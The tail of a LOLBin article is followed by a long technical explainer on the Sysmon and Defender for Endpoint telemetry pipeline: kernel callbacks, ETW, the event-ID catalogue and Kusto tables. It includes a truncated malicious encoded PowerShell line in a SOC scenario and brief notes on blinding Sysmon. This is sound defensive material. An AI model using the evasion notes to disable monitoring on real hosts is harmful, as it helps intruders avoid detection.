Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the signature trust axis is orthogonal to the behavior trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith's Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft's App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.

The honest defender's posture is therefore not to ask when will Microsoft fix this? but how thin can the layered SOTA make the residual?. The answer in 2026 is thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.

From `cmd.exe` to a Kusto Row in 90 Seconds: How Sysmon and Defender for Endpoint Actually Work

noreply@paragmali.com (Parag Mali) — Wed, 13 May 2026 00:00:00 GMT

Modern Windows EDR is a seven-layer production pipeline. A kernel callback fires, a user-mode aggregator labels the event, an ETW publisher (Sysmon) or a TLS-pinned cloud forwarder (`SenseCncProxy.exe`) ships it, and within seconds the event surfaces as a row in a Kusto table that the analyst queries with KQL. Sysmon (Russinovich and Garnier, August 2014) is the configurable kernel-callback-then-publish reference: twenty-nine event IDs, three canonical configurations (SwiftOnSecurity, the post-rename `NextronSystems/sysmon-config`, and `olafhartong/sysmon-modular`), Antimalware-PPL hardening since v15 in June 2023. Microsoft Defender for Endpoint (Windows Defender ATP preview March 2016, MDE rename September 2020, Microsoft Defender XDR portal late 2023) is the commercial cloud-correlated counterpart: `MsSense.exe` runs as Antimalware-PPL, shares the `WdFilter.sys` / `WdBoot.sys` / `WdNisDrv.sys` Defender Antivirus kernel surface, and lands events in six `Device*` Advanced Hunting tables with 30-day in-portal retention, extended via the Microsoft Sentinel Defender XDR connector. For MDE-licensed shops with a detection-engineering team, the community pattern is Hartong's `sysmonconfig-mde-augment.xml` -- Sysmon as a complement, not a duplicate. The pipeline's four structural ceilings (pre-driver-load horizon, observation-vs-enforcement latency, MDE schema truncation, kernel-mode adversary primitive) are documented and unclosed; FalconForce's 2022 CVE-2022-23278 disclosure and InfoGuard Labs' 2025 certificate-pinning bypass bookend an adversarial arc the field has not yet ended.

1. From `cmd.exe` to a Kusto Row in Ninety Seconds

At 9:14 a.m. on a Monday, a SOC analyst named Maya watches a DeviceProcessEvents row light up in the Advanced Hunting console of Microsoft Defender XDR. The FileName is powershell.exe. The ProcessCommandLine reads powershell.exe -enc JABzAD0A.... The InitiatingProcessFileName is WINWORD.EXE. The Timestamp is three seconds ago [@deviceprocessevents-table].

By 9:15:44 Maya has pivoted to DeviceNetworkEvents, found an outbound connection from the same InitiatingProcessId to a previously-unknown IP on TCP/443, clicked Isolate device in the device page, and the endpoint is off the network. Ninety seconds, end to end. Email triage of the original message; a quarantine on the inbound .docm; and -- by the time the user's coffee has cooled -- a brand-new IOC in the tenant's custom indicator list.

This article is the rewind. We walk Maya's ninety seconds backwards through the seven pipeline layers that made the triage possible -- starting in ring zero, ending in the KQL query you can copy into your own tenant -- and along the way we answer the question every SOC manager has asked at least once: do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone?

The seven layers

Maya is looking at a single Kusto row. Behind that row sit seven distinct software components, each of which can fail independently:

A kernel callback fired inside the nt!PspInsertProcess path on the target machine the instant WINWORD.EXE called CreateProcessW to spawn powershell.exe. The callback handler lives inside WdFilter.sys (Defender Antivirus's filter driver) and inside SysmonDrv.sys if Sysmon is also installed [@pssetcreateex-msdn].
A user-mode aggregator -- MsSense.exe for Defender for Endpoint, or Sysmon.exe (the service) for Sysmon -- received the structured callback notification, enriched it with parent-process state, file hashes, signature information, and identity data, and decided whether the event was worth shipping [@mde-ms-learn][@sysmon-ms-learn].
An ETW publisher -- in Sysmon's case the Microsoft-Windows-Sysmon provider -- emitted the event to the operating system's tracing bus, and the Sysmon service wrote it to the Microsoft/Windows/Sysmon/Operational event log [@sysmon-ms-learn].
A cloud forwarder -- SenseCncProxy.exe -- ran the Defender payload through TLS with certificate pinning out to the regional Defender XDR ingest endpoint [@falconforce-2022].
A cloud sensor pipeline in Microsoft's regional datacenter (the US for US tenants, the EU for European tenants, the UK for UK tenants) wrote the event into the Advanced Hunting Kusto cluster [@advanced-hunting-overview][@ms-server-endpoints-learn].
A Kusto table -- DeviceProcessEvents -- became queryable within seconds, joined logically across roughly fifty columns to its siblings (DeviceNetworkEvents, DeviceFileEvents, DeviceRegistryEvents, DeviceImageLoadEvents, DeviceEvents) [@deviceprocessevents-table].
A KQL query Maya wrote, or one of Microsoft's built-in detection rules, joined the process row to the network row on (DeviceId, InitiatingProcessId), surfaced the C2 callback inside a ninety-second window, and put the device-isolation button on her screen [@advanced-hunting-overview][@sentinel-xdr-connector].

Each of these seven layers is independently failure-prone. Operating an EDR well -- which is what this article is about -- means knowing which layer produced which artifact, which layer can be tampered with, and which layer is the right one to fix when the row does not arrive.

Key idea: Modern Windows EDR is a seven-layer production pipeline: kernel callback, user-mode aggregator, ETW publisher (or cloud forwarder), TLS-pinned cloud transport, regional Kusto ingest, table write, KQL read. Sysmon and Microsoft Defender for Endpoint are two implementations of the same seven layers, with different design philosophies at every layer.

Why two products, not one

Sysmon and Defender for Endpoint were not designed as a pair. They evolved as competing answers to the same problem -- when prevention fails, what evidence do you give the responder? -- on the same operating system, with the same kernel-callback APIs underneath, and with the same Windows Event Tracing bus as the transport layer in the middle. They converged on a shared trust model only in 2023, when both products began running as protected processes [@sysmon-ms-learn][@falconforce-2022].

That convergence is not coincidence. It is the consequence of a decade of architectural pressure pushing both products toward the same answer: collect at the Microsoft-sanctioned kernel-callback boundary, normalize in user mode, ship over a tamper-resistant transport, and surface to the analyst as a queryable column family. The differences are in the configuration grammar, the cloud-side enrichment, and the trust boundary at the publisher edge. The seven layers are the same. To see why, we have to start in 2014, when Sysmon shipped with three event types.

2. Twelve Years, Two Arcs, One Convergence

Anton Chuvakin, then a research VP at Gartner, named the category in July 2013. His blog post -- preserved on his personal site after Gartner deleted its analyst blogs in late 2023 -- coined the term Endpoint Threat Detection and Response (ETDR) and defined it as "tools primarily focused on detecting and investigating suspicious activities (and traces of such) other problems on hosts/endpoints" [@chuvakin-2013][@wikipedia-edr]. The "T" dropped out of the acronym within eighteen months and the field has been called EDR ever since.

Chuvakin's question -- what evidence do you give the responder when prevention fails? -- got two different answers from inside Microsoft over the next decade. One was free, configurable, and ran on every Windows machine the operator wanted to run it on. The other was commercial, cloud-correlated, and only worked if you paid for it. Both started in the same place: at the supported kernel-callback boundary that Microsoft had been steadily building out since Windows XP.

The Sysmon arc: August 2014 to March 2026

Mark Russinovich gave session HTA-T07R at RSA US 2014 -- Malware Hunting with the Sysinternals Tools -- and the methodology he taught (process-tree pivoting, autoruns enumeration, real-time monitoring of file and registry writes) had a natural conclusion: somebody should ship a Sysinternals tool that did all of that, continuously, into the Windows event log [@russinovich-rsa-2014]. The tool shipped in August 2014, written by Russinovich and Thomas Garnier, also of Microsoft. ZDNet's contemporaneous coverage captured the introduction: "Sysmon, written by Russinovich and Thomas Garnier, also of Microsoft, is the 73rd tool in the set... Note: For public release, Sysmon has been reset to version 1.00" [@zdnet-sysmon-2014]. The launch SKU had three event types: process create (EID 1), file-create-time change (EID 2), and network connect (EID 3).

The design philosophy is captured in a single sentence Microsoft Learn still prints on the Sysmon download page -- a sentence whose framing of Sysmon as a publisher that refuses to do detection and refuses to hide is the entire foundation of the SwiftOnSecurity-NextronSystems-Hartong configuration lineage that §5 unpacks; the verbatim quote lands as the §4 PullQuote [@sysmon-ms-learn]. Every detection-engineering corpus in the Windows field -- SwiftOnSecurity's config, Florian Roth's fork, Olaf Hartong's modular system, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of that one design choice.

The version history reads as capability accretion, not architectural change. Sysmon v6 in February 2017 added registry events (EIDs 12-14), process-access (10), file-create (11), pipe events (17-18), file-create-stream-hash (15), and the ServiceConfigurationChange (16) audit of Sysmon's own settings [@sysinternals-blog-v6]. (EID 7 ImageLoad arrived earlier, in Sysmon v2.0 -- the §4 catalogue places it correctly.) Sysmon v10 in June 2019 added DNS-query observation via ETW consumption of Microsoft-Windows-DNS-Client; the v10 release date is recorded in the community-curated Sysmon Version History repository, explicitly marked "Outdated" past v11.10 because its maintainer stopped updating it [@sysmon-version-history]. v13 added ClipboardChange and ProcessTampering. v14 in August 2022 added the first preventive event -- FileBlockExecutable (EID 27) -- making Sysmon something subtly more than a publisher [@diversenok-2022][@hartong-sysmon14-medium].

The architectural inflection landed in June 2023 with Sysmon v15, when the Sysmon service began running as a protected process. BleepingComputer's contemporaneous coverage notes that the service ran as PROTECTED_ANTIMALWARE_LIGHT and the schema bumped to 4.90 with the new FileExecutableDetected event ID 29 [@bleepingcomputer-sysmon15][@hartong-sysmon15-medium]. The Microsoft Learn page now states the change verbatim: "The service runs as a protected process, thus disallowing a wide range of user mode interactions" [@sysmon-ms-learn]. The latest published release at the time of writing is v15.2 on March 26, 2026 (per the Sysmon download page's Published by-line), with twenty-nine event types plus EID 255 (Error) [@sysmon-ms-learn].

The MDE arc: March 2016 to late 2023

Microsoft announced Windows Defender Advanced Threat Protection in a Windows Experience blog post on March 1, 2016 -- "Today, we announce the next step in our efforts to protect our enterprise customers, with a new service, Windows Defender Advanced Threat Protection" [@ms-blog-atp-mar2016]. The service was framed as a cloud-correlated detection-and-investigation layer on top of the Windows 10 sensor, "informed by anonymous information from over 1 billion Windows devices" [@ms-blog-atp-mar2016]. The 2016 product was Windows-only, in-portal, and oriented to detection and investigation only.

The Fall Creators Update in October 2017 broadened the product into prevention: "The Windows Fall Creators Update represents a new chapter in our product evolution as we offer a set of new prevention capabilities designed to stop attacks as they happen and before they have impact. This means that our service will expand beyond detection, investigation, and response, and will now allow companies to use the full power of the Windows security stack for preventative protection" [@ms-blog-atp-jun2017]. Attack Surface Reduction rules, Exploit Guard, and Application Guard joined the platform. So did the Advanced Hunting query surface in 2018 -- KQL on the same Device* tables Maya uses in §1.

The cross-platform reach arrived in March 2019 with macOS support (initially as Microsoft Defender ATP) and was extended to networked Linux and macOS discovery by February 2021 [@securityweek-defender-macos][@bleepingcomputer-defender-linux]. The product was renamed twice. The most-cited rename came at Microsoft Ignite 2020 on September 22, 2020, when the Microsoft Security blog announced the product family rebrand: "Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection)" [@ms-unified-siem-xdr-2020]. The same post renamed Microsoft Threat Protection to Microsoft 365 Defender, O365 ATP to Microsoft Defender for Office 365, and Azure ATP to Microsoft Defender for Identity. The second rename was at Microsoft Ignite 2023 in November 2023, when Microsoft 365 Defender became Microsoft Defender XDR, announced as part of the broader product rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog].The Ignite 2023 rebrand did not change the KQL substrate, the Device* schema, or the Sentinel connector contract. It is a marketing relabel on top of a stable cloud surface. Detection engineering teams kept writing queries against DeviceProcessEvents exactly as they did the day before the rename.

The configuration-lineage arc

A third arc ran in parallel with the two product arcs: the community-maintained Sysmon configurations that turned Sysmon from a kernel-callback publisher into a deployment-ready detection sensor.

The historical root is SwiftOnSecurity's sysmon-config repository, created on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. The README's design intent is succinct: "This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing" [@github-swiftonsecurity]. The repository remains the most-cited Sysmon-configuration starting point in the SOC industry.

Florian Roth, working under the handle @Neo23x0, forked SwiftOnSecurity's config in January 2018 (the exact creation date is now obscured by a 2021 rename -- see the sidenote below). The fork added blocking-rule support for Sysmon v14, an actively-maintained set of community pull-request merges, and the export-block.xml variant that ships the v14+ FileBlockExecutable rules. The README states the lineage verbatim: "This is a forked and modified version of @SwiftOnSecurity's sysmon config. ... We merged most of the 30+ open pull requests" [@github-neo23x0]. The current maintainer roster lists Florian Roth, Tobias Michalski, Christian Burkard, and Nasreddine Bencherchali.

Olaf Hartong's sysmon-modular was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository takes a different design approach: instead of one monolithic XML config, Hartong ships a per-EID-and-per-technique module library that compiles down into one of several pre-generated artifacts -- sysmonconfig.xml (default), sysmonconfig-with-filedelete.xml (default plus archive), sysmonconfig-excludes-only.xml (verbose), sysmonconfig-research.xml (super-verbose, with the warning "really DO NOT USE IN PRODUCTION!"), and the load-bearing sysmonconfig-mde-augment.xml whose entire design intent is to fill the gaps in Defender for Endpoint's collection surface [@github-hartong-modular].Olaf Hartong and Henri Hambartsumyan, the two FalconForce researchers who reverse-engineered Defender for Endpoint in 2022 and surfaced CVE-2022-23278, also maintain olafhartong/sysmon-modular. This is the dual identity that makes the sysmonconfig-mde-augment.xml config uniquely informed: the same people who learned where MDE's collection truncates Sysmon's manifest also published the config that fills those gaps [@falconforce-2022][@github-hartong-modular].

The Neo23x0 repository was renamed in 2021. The current https://github.com/Neo23x0/sysmon-config URL HTTP-301s to https://github.com/NextronSystems/sysmon-config, and the GitHub REST API returns a created_at of 2021-07-24T06:19:41Z with a parent field pointing to SwiftOnSecurity/sysmon-config [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; only the organizational owner moved from Florian Roth's personal handle to his employer Nextron Systems.

By 2023, then, two product arcs and one configuration arc had converged on the same baseline: kernel callbacks (PsSetCreateProcessNotifyRoutineEx, ObRegisterCallbacks, CmRegisterCallbackEx, Filter Manager minifilters) on the input side; an Antimalware-PPL protected service on the host; an ETW or TLS-pinned cloud transport in the middle; and KQL on Device* tables on the reader side. The convergence was structural, not coincidental. To see why both arcs landed in the same place, we have to start at the kernel-callback boundary -- where Sysmon's input lives.

3. Sysmon Architecture: Kernel Collection, ETW Emission, Event Log Persistence

If you have ever read that Sysmon is an "ETW-based event source," you have read something that is half-true. The half that is right is the output side: Sysmon publishes its events through an ETW provider called Microsoft-Windows-Sysmon, and the rest of the system -- including the Windows Event Log service -- subscribes to that provider. The half that is wrong is the input side. Sysmon does not get most of its raw observations from ETW. It gets them from five kernel-callback families and one Filter Manager minifilter, with two narrow ETW-consumer exceptions (DNS-Client for EID 22; the WMI activity provider for EIDs 19-21).

This distinction is small enough that most blog posts skip it and big enough that getting it wrong leads to architectural confusion. The split between collection (how data enters the Sysmon driver) and emission (how data leaves the Sysmon service) is the first thing to get straight before anything else makes sense.

The in-kernel, low-overhead, manifest-described tracing infrastructure built into Windows since 2000. Providers publish structured events; controllers start trace sessions and select which providers to enable; consumers receive events live or read them from `.etl` files. Sysmon uses ETW as its *output* bus -- its kernel driver hands events to the user-mode service via a private ETW session -- and as a small input source for the DNS-Client kernel provider (EID 22) and the WMI activity provider (EIDs 19-21). A Microsoft-sanctioned ring-0 API for observing operating-system events without patching the System Service Descriptor Table. The Windows kernel exposes a small set of named callback APIs -- `PsSetCreateProcessNotifyRoutineEx` for process create and exit, `PsSetLoadImageNotifyRoutine` for image load (with a `SystemModeImage` bit that distinguishes kernel drivers from user-mode DLLs), `PsSetCreateThreadNotifyRoutineEx` for thread creation (with a remote-thread flag), `ObRegisterCallbacks` for handle-rights filtering against `PsProcessType` and `PsThreadType`, `CmRegisterCallbackEx` for registry operations, and the Filter Manager minifilter framework for file-system I/O. A driver registers a function pointer; the kernel invokes it on the corresponding event with the structured context. PatchGuard tolerates kernel callbacks; it does not tolerate SSDT patching [@wikipedia-kpp][@pssetcreateex-msdn][@ms-wdk-kernel-callbacks]. The file-system filter-driver framework (`FltMgr.sys`) that hosts minifilter drivers between the I/O manager and the file-system stack. Each minifilter declares an *altitude* (a 16-bit priority) and receives notifications for pre- and post-operation hooks on file create, file write, set-information, and set-security. Both `SysmonDrv.sys` and `WdFilter.sys` are minifilters; they coexist at different altitudes without colliding [@sysmon-ms-learn].

Five collection mechanisms, one ETW publisher

The Microsoft Learn page for Sysmon enumerates the event IDs and describes them at the what level; the how (which kernel API actually produced each event) is documented partly in the API references for each callback API and partly in the source code of Sysmon's open Linux port, microsoft/SysmonForLinux, which reuses Sysinternals' shared C++ rule-engine for parsing the same XML schema and translating it onto eBPF instead of kernel callbacks [@github-sysmon-linux][@sysmon-ms-learn]. The Windows port is closed source, but Sysinternals' design has been documented enough -- across the RSA 2014 talk, the Diversenok 2022 reverse-engineering writeup, and the SysmonForLinux source -- that the collection-mechanism inventory is unambiguous.

The five mechanisms are:

Mechanism	API or framework	Sysmon EIDs produced
Process-lifetime callback	`PsSetCreateProcessNotifyRoutineEx`	1 (ProcessCreate), 5 (ProcessTerminate)
Image-load callback	`PsSetLoadImageNotifyRoutine`	7 (ImageLoad); 6 (DriverLoad, distinguished by the `IMAGE_INFO.SystemModeImage` flag on the kernel-mode image)
Thread-creation callback	`PsSetCreateThreadNotifyRoutineEx` (with the `PS_CREATE_THREAD_NOTIFY_FLAG_CREATE_REMOTE` flag in `CREATE_THREAD_NOTIFY_INFO`)	8 (CreateRemoteThread)
Object Manager callback	`ObRegisterCallbacks` against `PsProcessType`	10 (ProcessAccess)
Registry callback	`CmRegisterCallbackEx`	12 (Registry Object Create/Delete), 13 (Registry Value Set), 14 (Registry Key/Value Rename)
Filter Manager minifilter	`FltRegisterFilter` against `FltCreate`/`FltClose`/`FltSetInformation` -- ordinary file system, and the Named Pipe File System (NPFS, `\Device\NamedPipe`) at a different altitude	11 (FileCreate), 15 (FileCreateStreamHash), 17 (PipeEvent Created), 18 (PipeEvent Connected), 23 (FileDelete archived), 26 (FileDeleteDetected), 27 (FileBlockExecutable), 28 (FileBlockShredding), 29 (FileExecutableDetected)

The five-mechanism framing collapses thread-creation and Object Manager callbacks into one architectural family ("process and thread observation via Microsoft-sanctioned callbacks"); a stricter count is six (process-lifetime, image-load, thread-creation, object-handle, registry, minifilter). Either count is defensible; what matters is keeping the API attribution honest: PsSetCreateThreadNotifyRoutineEx is the canonical remote-thread observer, ObRegisterCallbacks(PsProcessType) is the canonical handle-rights filter, and NPFS minifiltering -- not ObRegisterCallbacks -- is what observes named-pipe creation and connection.

The sixth source -- the ETW consumer path -- is special. For DNS queries (EID 22), Sysmon does not register a kernel callback. It subscribes as a consumer of the Microsoft-published Microsoft-Windows-DNS-Client ETW provider, parses the structured DNS events, and republishes them through its own ETW provider with the Sysmon enrichments applied [@sysmon-version-history]. DNS-Client is the only event Sysmon consumes from a Microsoft-published kernel ETW provider; the WmiEvent family (EIDs 19-21) is implemented in a similar consumer style against the WMI activity provider's user-mode tracing surface, which is why the §4 catalogue marks those rows as "WMI ETW provider consumer." Either way, ETW consumption is the input-side exception, not the rule: five kernel-callback families do the bulk of the work, and ETW is the input only for a small, deliberately-chosen set of events.The Sysmon ETW provider has the GUID {5770385F-C22A-43E0-BF4C-06F5698FFBD9}. Microsoft Learn does not enumerate this GUID on the Sysmon page; the authoritative on-host discovery command is logman query providers Microsoft-Windows-Sysmon, which returns the GUID, the keywords mask, and the registered processes. Pavel Yosifovich's community ETW-provider catalogue EtwExplorer mirrors the value [@etwexplorer-sysmon-guid], with the on-host logman command remaining the authority of last resort.

The ProcessCreate path, step by step

The clearest way to see how the pieces fit is to trace one event. Sysmon's process-create handling is the most-quoted EID in the manifest -- it is the EID that produces Maya's row in §1 -- and it follows the canonical kernel-callback pattern that Microsoft codified in PsSetCreateProcessNotifyRoutineEx:

// Conceptual pseudocode for SysmonDrv's process-create path.
// Real Sysmon source for Windows is closed; the Linux port is open.
// This is the contract documented in the WDK reference for
// PsSetCreateProcessNotifyRoutineEx.

NTSTATUS SysmonDrvEntry(PDRIVER_OBJECT DriverObject, ...) {
    // 1. Register the create-process callback. PatchGuard tolerates this.
    PsSetCreateProcessNotifyRoutineEx(SysmonProcessCreateCb, FALSE);
    // ... other callbacks registered similarly ...
    return STATUS_SUCCESS;
}

VOID SysmonProcessCreateCb(
    HANDLE  ParentId,
    HANDLE  ProcessId,
    PPS_CREATE_NOTIFY_INFO  CreateInfo  // NULL on process exit
) {
    if (CreateInfo == NULL) {
        // Process exit: emit EID 5 (ProcessTerminate).
        SysmonEmitEventEID5(ProcessId);
        return;
    }
    // Process create. Apply the XML rule engine: does this process
    // match any <Include> rule, after evaluating <Exclude> overrides?
    if (!SysmonRuleMatch(EID_1, CreateInfo)) {
        return;  // Filtered: produce no event.
    }
    // Enrich with parent process, command line, image hash, integrity
    // level, user SID, ProcessGuid, and session identifiers, then ship
    // through the private Microsoft-Windows-Sysmon ETW publisher.
    SysmonEmitEventEID1(CreateInfo);
}

Four properties of the path matter. First, the callback is invoked synchronously on the thread that issued the CreateProcessW call, before the new process's first instruction runs; the parent and child PIDs are both known, but the new process has not yet executed any user-mode code. Second, the callback is rate-limited only by your rule engine -- there is no built-in throttle, and a verbose <Include> rule on a high-process-turnover host can saturate the ETW session. Third, the callback runs at IRQL = PASSIVE_LEVEL, so it can do file I/O (which the driver needs for hashing) but it must do that I/O carefully to avoid deadlock on the very file system it is monitoring. Fourth, the Sysmon service runs as a separate user-mode process; if the service has crashed or been suspended, the driver continues to emit ETW events into a session with no listener and they evaporate.

Sysmon's per-process unique identifier, formatted as a 128-bit GUID and recorded as the `ProcessGuid` field on every event that names a process. Unlike a Windows process ID, the ProcessGuid survives PID reuse and uniquely identifies a process across its lifetime [@sysmon-ms-learn]; SOC tooling commonly joins on `(DeviceId, ProcessGuid)` to reconstruct process trees and avoid the PID-reuse race condition that plagues raw `ProcessId` joins.

Where the events go

Once the user-mode Sysmon.exe service has labelled the event, it does two things. First, it writes the event to the Windows event log -- specifically to Applications and Services Logs/Microsoft/Windows/Sysmon/Operational per Microsoft Learn's verbatim statement: "On Vista and higher, events are stored in Applications and Services Logs/Microsoft/Windows/Sysmon/Operational" [@sysmon-ms-learn]. Second, the same event is also visible to any ETW real-time consumer subscribed to Microsoft-Windows-Sysmon -- which is how downstream collectors (Windows Event Forwarding, Splunk's universal forwarder, the Elastic Endpoint integration, Wazuh's Windows agent) actually pick the events up, rather than tailing the event log XML.

flowchart LR K1["PsSetCreateProcessNotifyRoutineEx"] --> D[SysmonDrv.sys] K2["PsSetLoadImageNotifyRoutine"] --> D K3["PsSetCreateThreadNotifyRoutineEx"] --> D K4["ObRegisterCallbacks (PsProcessType)"] --> D K5["CmRegisterCallbackEx"] --> D K6["FltRegisterFilter (file system + NPFS)"] --> D K7["ETW consumer: DNS-Client + WMI activity"] --> D D --> P["ETW publisher: Microsoft-Windows-Sysmon"] P --> S[Sysmon.exe service] S --> L["Applications and Services Logs / Microsoft / Windows / Sysmon / Operational"] P --> R["Real-time ETW consumers (WEF, Splunk UF, Wazuh, Elastic)"]

This is the first aha moment. Sysmon is not "ETW based" in the way most blog posts imply. Sysmon is a kernel driver that uses ETW as its IPC bus to user mode, and as a special-case consumer for one provider (DNS-Client). The reason Sysmon needed a kernel driver in the first place is that ETW alone could not see what the kernel callbacks see: ETW could not, in 2014, deliver a synchronous parent-PID-and-image-hash structure at process create time. Sysmon's driver does that work; ETW transports the result.

The protected-process gate added in v15 (June 2023) closed the most-trivial blinding attack -- a SYSTEM-privilege process can no longer issue OpenProcess(PROCESS_TERMINATE) against the Sysmon service to silence it. Raising the bar to a kernel-mode primitive does not eliminate the attack class, but it does change the cost model. The protected-process gate is the architectural inflection that distinguishes pre-v15 Sysmon (trivially blindable) from post-v15 Sysmon (requires a kernel primitive or a BYOVD chain) [@sysmon-ms-learn][@bleepingcomputer-sysmon15].

Five collection mechanisms, one ETW publisher, one event log. That is the input side. Now the catalogue.

4. The Sysmon Event Catalogue: Twenty-Nine IDs and Their Version Gating

Run sysmon -s on any v15.2 host and you get an XML schema enumerating twenty-nine event types plus EID 255 (Error). Every detection-engineering corpus in the field -- SwiftOnSecurity's config, Florian Roth's fork, Hartong's modular, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of this single schema [@sysmon-ms-learn][@github-sigma][@github-otrf-thp]. Learn the catalogue once and the rest of the Sysmon toolchain unfolds from it.

A naming disambiguation is worth doing first, because the colloquial event names the field uses (and that the topic input for this article uses verbatim) differ from the canonical Microsoft Learn names. "RegistrySet" is a colloquial pun on RegistryEvent (Value Set), EID 13. "DnsQuery" is a colloquial shorthand for DNSEvent (DNS query), EID 22. "NamedPipeConnect" is two events at once: PipeEvent (Pipe Created), EID 17, and PipeEvent (Pipe Connected), EID 18. The article uses the canonical Microsoft Learn names from here on.

Note: Sysmon's manifest names some events as a family with a parenthetical operation: RegistryEvent (Object create and delete) (EID 12), RegistryEvent (Value Set) (EID 13), RegistryEvent (Key and Value Rename) (EID 14). The same pattern applies to the pipe events: PipeEvent (Pipe Created) (EID 17) and PipeEvent (Pipe Connected) (EID 18). When detection-rule tooling references "EID 12-14" or "EID 17-18", these families are what it means. The colloquial single-name forms used elsewhere in the literature are not wrong; they are just less precise. The MDE schema does not preserve the parenthetical operation suffix; it surfaces these as ActionType values inside DeviceRegistryEvents.

The twenty-nine plus one catalogue

The catalogue groups naturally by the collection mechanism that produces each event:

EID	Canonical name	Collection mechanism	Introduced	Maps to (MDE)
1	ProcessCreate	`PsSetCreateProcessNotifyRoutineEx`	v1.0 (Aug 2014)	`DeviceProcessEvents` (`ProcessCreated`)
2	FileCreateTime	Filter Manager	v1.0 (Aug 2014)	`DeviceFileEvents` (`FileCreated`, partial)
3	NetworkConnect	Internal network-callout	v1.0 (Aug 2014)	`DeviceNetworkEvents` (`ConnectionSuccess`)
4	ServiceStateChange	Sysmon-internal	v1.0 (Aug 2014)	(Sysmon-only)
5	ProcessTerminate	`PsSetCreateProcessNotifyRoutineEx`	v1.0 (Aug 2014)	`DeviceProcessEvents` (`ProcessTerminated`)
6	DriverLoad	`PsSetLoadImageNotifyRoutine` (kernel-mode case via `IMAGE_INFO.SystemModeImage`)	v2.0 (2015)	`DeviceEvents` (`DriverLoad`)
7	ImageLoad	`PsSetLoadImageNotifyRoutine`	v2.0 (2015)	`DeviceImageLoadEvents`
8	CreateRemoteThread	`PsSetCreateThreadNotifyRoutineEx` (with `CREATE_REMOTE` flag)	v3.0 (2016)	`DeviceEvents` (truncated)
9	RawAccessRead	`\Device\Harddisk*` write filter	v3.0 (2016)	(Sysmon-only)
10	ProcessAccess	`ObRegisterCallbacks` (PsProcessType)	v6.0 (Feb 2017)	`DeviceEvents` (GrantedAccess truncated)
11	FileCreate	Filter Manager	v6.0 (Feb 2017)	`DeviceFileEvents`
12	RegistryEvent (Object create/delete)	`CmRegisterCallbackEx`	v6.0 (Feb 2017)	`DeviceRegistryEvents`
13	RegistryEvent (Value Set)	`CmRegisterCallbackEx`	v6.0 (Feb 2017)	`DeviceRegistryEvents`
14	RegistryEvent (Key/Value Rename)	`CmRegisterCallbackEx`	v6.0 (Feb 2017)	`DeviceRegistryEvents`
15	FileCreateStreamHash	Filter Manager	v6.0 (Feb 2017)	(Sysmon-only)
16	ServiceConfigurationChange	Sysmon-internal	v6.0 (Feb 2017)	(Sysmon-only)
17	PipeEvent (Pipe Created)	Filter Manager minifilter on NPFS (`\Device\NamedPipe`)	v6.0 (Feb 2017)	(Sysmon-only)
18	PipeEvent (Pipe Connected)	Filter Manager minifilter on NPFS (`\Device\NamedPipe`)	v6.0 (Feb 2017)	(Sysmon-only)
19	WmiEvent (filter)	WMI ETW provider consumer	v6.10 (mid-2017)	(Sysmon-only)
20	WmiEvent (consumer)	WMI ETW provider consumer	v6.10 (mid-2017)	(Sysmon-only)
21	WmiEvent (consumer-to-filter binding)	WMI ETW provider consumer	v6.10 (mid-2017)	(Sysmon-only)
22	DNSEvent (DNS query)	ETW consumer of `Microsoft-Windows-DNS-Client`	v10.0 (Jun 2019)	`DeviceNetworkEvents` (`DnsQuery`)
23	FileDelete (archive)	Filter Manager	v11.10 (Jun 2020)	`DeviceFileEvents` (partial)
24	ClipboardChange	RDP and Win32 clipboard hooks	v13.0 (2021; disputed)	(Sysmon-only)
25	ProcessTampering	Image-load and `WriteProcessMemory` heuristic	v13.0 (2021; disputed)	(Sysmon-only)
26	FileDeleteDetected	Filter Manager (non-archiving)	v13.30 (2022)	`DeviceFileEvents`
27	FileBlockExecutable	Filter Manager (blocking)	v14.0 (Aug 2022)	(Sysmon-only)
28	FileBlockShredding	Filter Manager (blocking)	v14.10 (2022)	(Sysmon-only)
29	FileExecutableDetected	Filter Manager	v15.0 (Jun 2023)	`DeviceFileEvents`
255	Error	Sysmon-internal	v1.0 (Aug 2014)	(Sysmon-only)

The Sysmon Version History repository's "Outdated" disclaimer ("I didn't find enough time to update this repo - sorry") means the v12 vs v13 boundary for ClipboardChange and ProcessTampering is community-disputed. The canonical Microsoft Learn page does not enumerate version-introduction metadata per event ID. The dates in the table for EIDs 24 and 25 are best-effort community attributions and should be treated as approximate until Microsoft publishes a per-EID version history [@sysmon-version-history][@sysmon-ms-learn].

The design intent, in one sentence

The catalogue exists because Sysmon's design choice -- the one Microsoft Learn still prints today -- explicitly refuses to do detection. The publisher emits structured events; the detection logic is somebody else's problem.

Sysmon does not provide analysis of the events it generates, nor does it attempt to hide itself from attackers.

This is the sentence that explains the entire SwiftOnSecurity-NextronSystems-Hartong configuration lineage [@sysmon-ms-learn]. If Sysmon refuses to do detection, somebody has to write the rules. Three somebodies did, and they wrote three different sets, and the rest of §5 is about the trade-offs between them.

What EID 27 is, and what it is not

